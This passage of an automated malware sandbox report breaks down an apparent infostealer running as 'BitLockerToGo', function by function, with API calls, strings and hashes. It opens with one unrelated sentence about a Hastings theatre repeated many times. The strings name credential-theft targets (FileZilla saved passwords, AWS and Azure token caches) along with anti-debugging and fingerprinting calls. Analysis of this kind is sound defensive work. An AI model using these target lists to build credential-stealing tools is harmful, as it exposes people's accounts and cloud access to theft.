Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 2127927946-2218711628
Opcode ID: e92fd9bfe955f1e4ba172cc5ea9bb00965487fe88c4eb3d75e7b44bd66e03f23
Instruction ID: 3e8d4ee8a058834b5db21d9223f99b8d22ecb2d90e3c32b92883b747ec783704
Opcode Fuzzy Hash: e92fd9bfe955f1e4ba172cc5ea9bb00965487fe88c4eb3d75e7b44bd66e03f23
Instruction Fuzzy Hash: 4341FC79A43704EFE718FBE4ED8DADD7B70AB49702B008060F5229D14EC6789581DB3A

Function 030562D0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 191
networkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03054800: ??_U@YAPAXI@Z.MSVCRT ref: 0305483A
Part of subcall function 03054800: ??_U@YAPAXI@Z.MSVCRT ref: 03054851
Part of subcall function 03054800: ??2@YAPAXI@Z.MSVCRT ref: 03054868
Part of subcall function 03054800: InternetCrackUrlA.WININET(00000000,00000000), ref: 03054899

InternetOpenA.WININET(03070DE6,00000001,00000000,00000000,00000000,03070DE3), ref: 03056331
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 03056385
HttpOpenRequestA.WININET(00000000,GET,?,?,00000000,00000000,00400100,00000000), ref: 030563D5
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 03056421
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 030564BD

Strings

ERROR, xrefs: 03056519
GET, xrefs: 030563CC
ERROR, xrefs: 03056457

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: Internet$HttpOpenRequest$??2@ConnectCrackFileReadSend
String ID: ERROR$ERROR$GET
API String ID: 488451522-2509457195
Opcode ID: a6bf43770901e76aeafee189239a6d277e6d0c5625f7999a06f6f1576e377ee7
Instruction ID: 620905acd45006d869851a184c66659ba7f7e2e381adeb0d1b3353ace85a3223
Opcode Fuzzy Hash: a6bf43770901e76aeafee189239a6d277e6d0c5625f7999a06f6f1576e377ee7
Instruction Fuzzy Hash: 1D716FB5A01318ABDB14EFA4DC49BEEB778BF44700F508199F50A6F188DBB16A84CF51

Function 030672F0 Relevance: 1.5, APIs: 1, Instructions: 36COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(00000104,00000104), ref: 0306733F

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 4630b1f261423eccd2e5f8f6553cc2ee4c8b51755a394c095b3d6f3aa40cadc2
Instruction ID: 5c85837a2022217e6b4e479a9901b61e66f84e32e97fc9af868d96c1d8954d76
Opcode Fuzzy Hash: 4630b1f261423eccd2e5f8f6553cc2ee4c8b51755a394c095b3d6f3aa40cadc2
Instruction Fuzzy Hash: F5F062B1944258EFC700DF99DC49FAEFBB8FB44B21F10061AFA15A3684C7745504CBA1

Function 03051160 Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,030664B7,03070ADA), ref: 0305116A

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: InfoSystem
String ID:
API String ID: 31276548-0
Opcode ID: 8a18c2188b5ed8b538cd54db643798a810857626290d9b5add2143aef2469d5f
Instruction ID: 70e271e13b4811a445da11c8d2ef7b7139cff400f57fba7bcaf98b2054cc36f4
Opcode Fuzzy Hash: 8a18c2188b5ed8b538cd54db643798a810857626290d9b5add2143aef2469d5f
Instruction Fuzzy Hash: 93D05E74D0021CDBCB04EFF4A94DADDBB7CBB0C211F004696EC0562244DA305842CA66

Function 030695E0 Relevance: 18.2, APIs: 8, Strings: 2, Instructions: 684
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,03065783,?,00000034,00000064,030660A0,?,0000002C,00000064,03066040,?,00000030,00000064,Function_000155B0,?), ref: 03069A0D
LoadLibraryA.KERNELBASE(?,?,03065783,?,00000034,00000064,030660A0,?,0000002C,00000064,03066040,?,00000030,00000064,Function_000155B0,?), ref: 03069A1E
LoadLibraryA.KERNELBASE(?,?,03065783,?,00000034,00000064,030660A0,?,0000002C,00000064,03066040,?,00000030,00000064,Function_000155B0,?), ref: 03069A30
LoadLibraryA.KERNELBASE(?,?,03065783,?,00000034,00000064,030660A0,?,0000002C,00000064,03066040,?,00000030,00000064,Function_000155B0,?), ref: 03069A42
LoadLibraryA.KERNELBASE(?,?,03065783,?,00000034,00000064,030660A0,?,0000002C,00000064,03066040,?,00000030,00000064,Function_000155B0,?), ref: 03069A53
LoadLibraryA.KERNELBASE(?,?,03065783,?,00000034,00000064,030660A0,?,0000002C,00000064,03066040,?,00000030,00000064,Function_000155B0,?), ref: 03069A65
LoadLibraryA.KERNELBASE(?,?,03065783,?,00000034,00000064,030660A0,?,0000002C,00000064,03066040,?,00000030,00000064,Function_000155B0,?), ref: 03069A77
LoadLibraryA.KERNELBASE(?,?,03065783,?,00000034,00000064,030660A0,?,0000002C,00000064,03066040,?,00000030,00000064,Function_000155B0,?), ref: 03069A88

Strings

InternetSetOptionA, xrefs: 03069FB5
HttpQueryInfoA, xrefs: 03069FCC

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: HttpQueryInfoA$InternetSetOptionA
API String ID: 1029625771-1775429166
Opcode ID: 21dbb6831ebf70fda8dbd1de7b03783f973f859e93a70a0b6c403431ac7859bd
Instruction ID: f8aac620b219318e69d49aaad4791ae371ad51cd1e9d664f6efdb744a2306692
Opcode Fuzzy Hash: 21dbb6831ebf70fda8dbd1de7b03783f973f859e93a70a0b6c403431ac7859bd
Instruction Fuzzy Hash: DB6209B6610220EFC754FFB9F88CE1A3BA9BB8C741754D51AE609C324CD734A842DB65

Function 030548D0 Relevance: 11.0, APIs: 1, Strings: 5, Instructions: 479
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03054800: ??_U@YAPAXI@Z.MSVCRT ref: 0305483A
Part of subcall function 03054800: ??_U@YAPAXI@Z.MSVCRT ref: 03054851
Part of subcall function 03054800: ??2@YAPAXI@Z.MSVCRT ref: 03054868
Part of subcall function 03054800: InternetCrackUrlA.WININET(00000000,00000000), ref: 03054899

InternetCloseHandle.WININET(00000000), ref: 03054EFD

Strings

------, xrefs: 03054B78
------, xrefs: 03054CB9
------, xrefs: 03054A0D
", xrefs: 03054D83
", xrefs: 03054C42

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: Internet$??2@CloseCrackHandle
String ID: "$"$------$------$------
API String ID: 598685214-2180234286
Opcode ID: f807dd7df8049e3c5b3b935a4c754dee539c1927fa8439b0408a3176331a0d6e
Instruction ID: ca6b4cac20adf6fff8ec772a6c3f30579e4482045546e7118e21204cc3060913
Opcode Fuzzy Hash: f807dd7df8049e3c5b3b935a4c754dee539c1927fa8439b0408a3176331a0d6e
Instruction Fuzzy Hash: 66120BB5A52218AACB14FBA4DC91FEEB378BF94300F104199A5077A094EF706F48CF65

Function 03054800 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??_U@YAPAXI@Z.MSVCRT ref: 0305483A
??_U@YAPAXI@Z.MSVCRT ref: 03054851
??2@YAPAXI@Z.MSVCRT ref: 03054868
InternetCrackUrlA.WININET(00000000,00000000), ref: 03054899

Strings

<, xrefs: 03054819

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: ??2@CrackInternet
String ID: <
API String ID: 836262421-4251816714
Opcode ID: cfa1d009220bc10682f44f671dc97a2ac528e0a093132d879a000d54544f6e2e
Instruction ID: 6f8f679f5442c04b51461bb5ea5a05d37cc3e0d452c5b7b91c67d661fcd6f849
Opcode Fuzzy Hash: cfa1d009220bc10682f44f671dc97a2ac528e0a093132d879a000d54544f6e2e
Instruction Fuzzy Hash: 9B21FCB5D01208ABDF14EFA4E849BDE7B75FF44320F108225F925AB284EB706A05CF91

Function 03069270 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 212
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE(?,?,030664A0), ref: 030694AA
LoadLibraryA.KERNELBASE(?,?,030664A0), ref: 030694BB
LoadLibraryA.KERNELBASE(?,?,030664A0), ref: 030694DF

Strings

NtQueryInformationProcess, xrefs: 030695BA

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 1029625771-2781105232
Opcode ID: 2ffa1d1df9884add14a8801071ef3a26590db6802dd1a110569fc1cd03fd946f
Instruction ID: 837f84f9a273dff9aaf112c5379ae3c4fdf79d5fb4c7e0aa550097c782974a6a
Opcode Fuzzy Hash: 2ffa1d1df9884add14a8801071ef3a26590db6802dd1a110569fc1cd03fd946f
Instruction Fuzzy Hash: 3DA12ABA511220EFC744FFB9F89CE1A3BA9BB8C741750D51AE50AC324CD734A442DB69

Function 030612B0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 160
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 030612E1
strtok_s.MSVCRT ref: 030612F8
strtok_s.MSVCRT ref: 030614B8

Strings

block, xrefs: 030612C7

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: strtok_s$ExitProcess
String ID: block
API String ID: 762877946-2199623458
Opcode ID: 176b30c82a03617a58eaa8d2e73b7053c04d84773877123de9a069d21572aa33
Instruction ID: 0d09ef97371a8a25478664452b2190ee562476c1650b17322c39e2293206982c
Opcode Fuzzy Hash: 176b30c82a03617a58eaa8d2e73b7053c04d84773877123de9a069d21572aa33
Instruction Fuzzy Hash: 525171B4F01209EFCB08EFA4D988AAE77B9BF84704F048548E416BB748D770E955CB65

Function 03066FA0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 106
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVolumeInformationA.KERNELBASE(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0306701F

Strings

\, xrefs: 03067000
C, xrefs: 03066FEC
:, xrefs: 03066FFC

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: InformationVolume
String ID: :$C$\
API String ID: 2039140958-3809124531
Opcode ID: d961c6be5eb35409846a61746f3a49c87bd930520e9637a5229e53a30fdc22c1
Instruction ID: 7c472d100c59179c3a6c2c2a96810521120a31ed5c6b046108badda73c34ffd3
Opcode Fuzzy Hash: d961c6be5eb35409846a61746f3a49c87bd930520e9637a5229e53a30fdc22c1
Instruction Fuzzy Hash: E841E3B1D01358EBDB10DFA4DC45BEEBBB8BF48704F004499E6096B284D774AA44CBA1

Function 03051220 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GlobalMemoryStatusEx.KERNELBASE(00000040,?,00000000,00000040), ref: 0305123E
__aulldiv.LIBCMT ref: 03051258
__aulldiv.LIBCMT ref: 03051266

Strings

@, xrefs: 03051233

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: __aulldiv$GlobalMemoryStatus
String ID: @
API String ID: 2185283323-2766056989
Opcode ID: 440e03f50bfcd08494e8d4554477329139ef672bdce631997b523649752e051c
Instruction ID: d56b57c806fee6dcf44e8c1b0a942b1b3bca39784bc0e8cf7ab18cc661476dea
Opcode Fuzzy Hash: 440e03f50bfcd08494e8d4554477329139ef672bdce631997b523649752e051c
Instruction Fuzzy Hash: A90169B0E41308BBEF14EBE8DC49B9EBBB8EB44705F248049FA04BA1C4C7B455818B59

Function 03066490 Relevance: 1.6, APIs: 1, Instructions: 94
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 03051160: GetSystemInfo.KERNELBASE(?,?,?,?,?,?,?,?,?,030664B7,03070ADA), ref: 0305116A

Part of subcall function 03051110: VirtualAllocExNuma.KERNELBASE(00000000,?,?,030664BC), ref: 03051132

Part of subcall function 03051220: GlobalMemoryStatusEx.KERNELBASE(00000040,?,00000000,00000040), ref: 0305123E
Part of subcall function 03051220: __aulldiv.LIBCMT ref: 03051258
Part of subcall function 03051220: __aulldiv.LIBCMT ref: 03051266

GetUserDefaultLangID.KERNELBASE ref: 030664C6

Part of subcall function 030672F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0306733F

Part of subcall function 03067380: GetComputerNameA.KERNEL32(?,00000104), ref: 030673CF

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: NameUser__aulldiv$AllocComputerDefaultGlobalInfoLangMemoryNumaStatusSystemVirtual
String ID:
API String ID: 736289943-0
Opcode ID: 79cb33cb373ffac37eeeabe458c5481abbe9bde5a01ab82240d39c1aca9d85bc
Instruction ID: 1216239573743fdbaa1f8eb932a9b199bff4ceb5e15c5abfad09b480b2c52ecd
Opcode Fuzzy Hash: 79cb33cb373ffac37eeeabe458c5481abbe9bde5a01ab82240d39c1aca9d85bc
Instruction Fuzzy Hash: F0311CB9A42319AACB08FBF4DC55BEE7778AFC4200F004518F9137E188DFB5660586A5

Function 03067380 Relevance: 1.5, APIs: 1, Instructions: 40COMMON

Download Yara Rule

APIs

GetComputerNameA.KERNEL32(?,00000104), ref: 030673CF

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: bf0d592154634232367bba2a437b1a34c2a9d2ffeca332c0ed7840ba31e3e67f
Instruction ID: cd846028d7d021ffb1e97c0dc48b7863d26dda147c8d39e6f12562aadba157da
Opcode Fuzzy Hash: bf0d592154634232367bba2a437b1a34c2a9d2ffeca332c0ed7840ba31e3e67f
Instruction Fuzzy Hash: 750181B1A05209EBC700DF99D949BAEBBB8FB04B25F10061AFA05E3684D7745904CBA1

Function 03051110 Relevance: 1.5, APIs: 1, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

VirtualAllocExNuma.KERNELBASE(00000000,?,?,030664BC), ref: 03051132

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: AllocNumaVirtual
String ID:
API String ID: 4233825816-0
Opcode ID: 55c7c5d1951f1bfc914de74525452d782f670cafc40c070afa323db306e51cce
Instruction ID: 657586e3985d3d6c52d9155fcf6e95dc09021ff0f95241da7d470b55e898f3d2
Opcode Fuzzy Hash: 55c7c5d1951f1bfc914de74525452d782f670cafc40c070afa323db306e51cce
Instruction Fuzzy Hash: BAE0E670945308FBEB54ABA1AC0EB49766CAF04B05F109195FA0DBA1C4C6F525009A59

Function 030510A0 Relevance: 1.3, APIs: 1, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,17C841C0,00003000,00000004,?,?,?,0305114E,?,?,030664BC), ref: 030510B3

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 16f7c8b072293730e9d1dfc116cbc40138ccf5ba5a1b89d09488579310a5472a
Instruction ID: c21db5efb9e9cd9829b3c5ac364a7454420a31011efe9a2fbcfc89b2a9c840c7
Opcode Fuzzy Hash: 16f7c8b072293730e9d1dfc116cbc40138ccf5ba5a1b89d09488579310a5472a
Instruction Fuzzy Hash: 0FF0E272642218BBEB14EAA5AC49FABF7D8A705B04F305548F900E7280D571AE008AA0

Non-executed Functions

Function 0306ACFA Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 0306B562
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0306B577
UnhandledExceptionFilter.KERNEL32(0306F298), ref: 0306B582
GetCurrentProcess.KERNEL32(C0000409), ref: 0306B59E
TerminateProcess.KERNEL32(00000000), ref: 0306B5A5

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: fcf7ef436a2aa4c7d0be2b0e9ac18ca4c9b98e3fee7739398ebec5b79f67f39b
Instruction ID: 903faf791e6ce3be03a3a91fdce7c67fcaddbe4d8d2b6796fbde76a4a9173f83
Opcode Fuzzy Hash: fcf7ef436a2aa4c7d0be2b0e9ac18ca4c9b98e3fee7739398ebec5b79f67f39b
Instruction Fuzzy Hash: EF21DFB8D03344DFE710FF69E288A643BA4BB48314F50405AE50AFBA4DE7B85984CF55

Function 0306C8D9 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001C897), ref: 0306C8DE

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 90b039a6e4bdb55adf563ae20f8c0bf2fadb024ef6e8210c84f13aaad122804a
Instruction ID: e087a4bc5d83fb0ab1484af33c9eb8008bfce003376d153537b0d579427406a8
Opcode Fuzzy Hash: 90b039a6e4bdb55adf563ae20f8c0bf2fadb024ef6e8210c84f13aaad122804a
Instruction Fuzzy Hash: 9D9002A8253604DFB620A7749A0941D29D05A885127451850B155C804DEA6840849561

Function 03069160 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 03060090 Relevance: 23.1, APIs: 3, Strings: 10, Instructions: 363stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0306015B
memset.MSVCRT ref: 0306051D

Part of subcall function 03068380: malloc.MSVCRT ref: 03068388
Part of subcall function 03068380: strncpy.MSVCRT ref: 030683A3

strtok_s.MSVCRT ref: 030604B9

Strings

browser: FileZilla, xrefs: 03060399
<User>, xrefs: 03060250
<Pass encoding="base64">, xrefs: 0306029A
password: , xrefs: 0306043B
profile: null, xrefs: 030603A8
login: , xrefs: 0306040A
url: , xrefs: 030603B7
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 030600E4
<Host>, xrefs: 030601BC
<Port>, xrefs: 03060206

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: strtok_s$mallocmemsetstrncpy
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 2676359353-555421843
Opcode ID: 9a912b0b8c1eb2ab8423b07e30ccad0bfb4588647e264f766ce42653d8061360
Instruction ID: 183a345721713e7746afe02885bdaeef6e82231da7e48e39eb8126716ac267da
Opcode Fuzzy Hash: 9a912b0b8c1eb2ab8423b07e30ccad0bfb4588647e264f766ce42653d8061360
Instruction Fuzzy Hash: 39D11FB5E41208ABCB04FBF4DC59EEE7778BF94300F508518F502BA189EA74AA45CB65

Function 03064850 Relevance: 19.6, APIs: 4, Strings: 9, Instructions: 119COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 03064867
memset.MSVCRT ref: 030648F3
memset.MSVCRT ref: 0306497F
memset.MSVCRT ref: 03064A0B

Strings

Azure\.aws, xrefs: 0306493F
msal.cache, xrefs: 030649D0
*.*, xrefs: 03064944
\.azure\, xrefs: 030648A1
Azure\.azure, xrefs: 030648B3
\.IdentityService\, xrefs: 030649B9
Azure\.IdentityService, xrefs: 030649CB
*.*, xrefs: 030648B8
\.aws\, xrefs: 0306492D

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: memset
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 2221118986-974132213
Opcode ID: 0d7d3271e5f177cf669a036326fc7005e3e54c5dddec308fbdc8b52c04b00c65
Instruction ID: 3e5765b4fdaa50ecd3c6e8422d75c96e3dabfa2cea3852ab88f4dc1f452b4e03
Opcode Fuzzy Hash: 0d7d3271e5f177cf669a036326fc7005e3e54c5dddec308fbdc8b52c04b00c65
Instruction Fuzzy Hash: 2141D6BDE42304ABCB14FB60EC4AFDD773C9F94700F408554B649AA085EEB467898B95

Function 030559B0 Relevance: 11.0, APIs: 2, Strings: 5, Instructions: 493COMMON

Download Yara Rule

APIs

Part of subcall function 03054800: ??_U@YAPAXI@Z.MSVCRT ref: 0305483A
Part of subcall function 03054800: ??_U@YAPAXI@Z.MSVCRT ref: 03054851
Part of subcall function 03054800: ??2@YAPAXI@Z.MSVCRT ref: 03054868
Part of subcall function 03054800: InternetCrackUrlA.WININET(00000000,00000000), ref: 03054899

memcpy.MSVCRT ref: 03055F16
memcpy.MSVCRT ref: 03055F4E

Strings

------, xrefs: 03055C5B
------, xrefs: 03055AE6
", xrefs: 03055D25
", xrefs: 03055E66
------, xrefs: 03055D9C

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID: memcpy$??2@CrackInternet
String ID: "$"$------$------$------
API String ID: 2992602757-2180234286
Opcode ID: 7781a3466355eb33b026095158d4d0cd3e861f4838427e863bcf0ed935a6bcdd
Instruction ID: 672b60fc96e370456c7e830eaddbcda2f558eaed67304c21dca42da4ab7755be
Opcode Fuzzy Hash: 7781a3466355eb33b026095158d4d0cd3e861f4838427e863bcf0ed935a6bcdd
Instruction Fuzzy Hash: 7A121EB5962228ABCB14FBA4DC94FEEB378BF94700F404199B5077A094DF716B48CB64

Function 030633C0 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 250COMMON

Download Yara Rule

Strings

%s%s, xrefs: 030635BD
%s\%s\%s, xrefs: 0306355A
%s\%s, xrefs: 0306357F
%s\%s, xrefs: 0306348A
%s\*, xrefs: 030633D0

Memory Dump Source

Source File: 0000000B.00000002.2079380836.0000000003050000.00000040.00000400.00020000.00000000.sdmp, Offset: 03050000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_3050000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 0-2524465048
Opcode ID: 0b0355dc1b839e8babd2d0bb1bf81017348c2fb3d56cda18870a90095a9a679d
Instruction ID: 54f65e4aefd58bed6465f90c47cb03ff9a6001769afaa5de7fb8d6aecf6b5750
Opcode Fuzzy Hash: 0b0355dc1b839e8babd2d0bb1bf81017348c2fb3d56cda18870a90095a9a679d
Instruction Fuzzy Hash: F8A142B5A013189BDB64EFA4DC89FEE7379BF88300F048598E50D9A144DB749B84CFA1

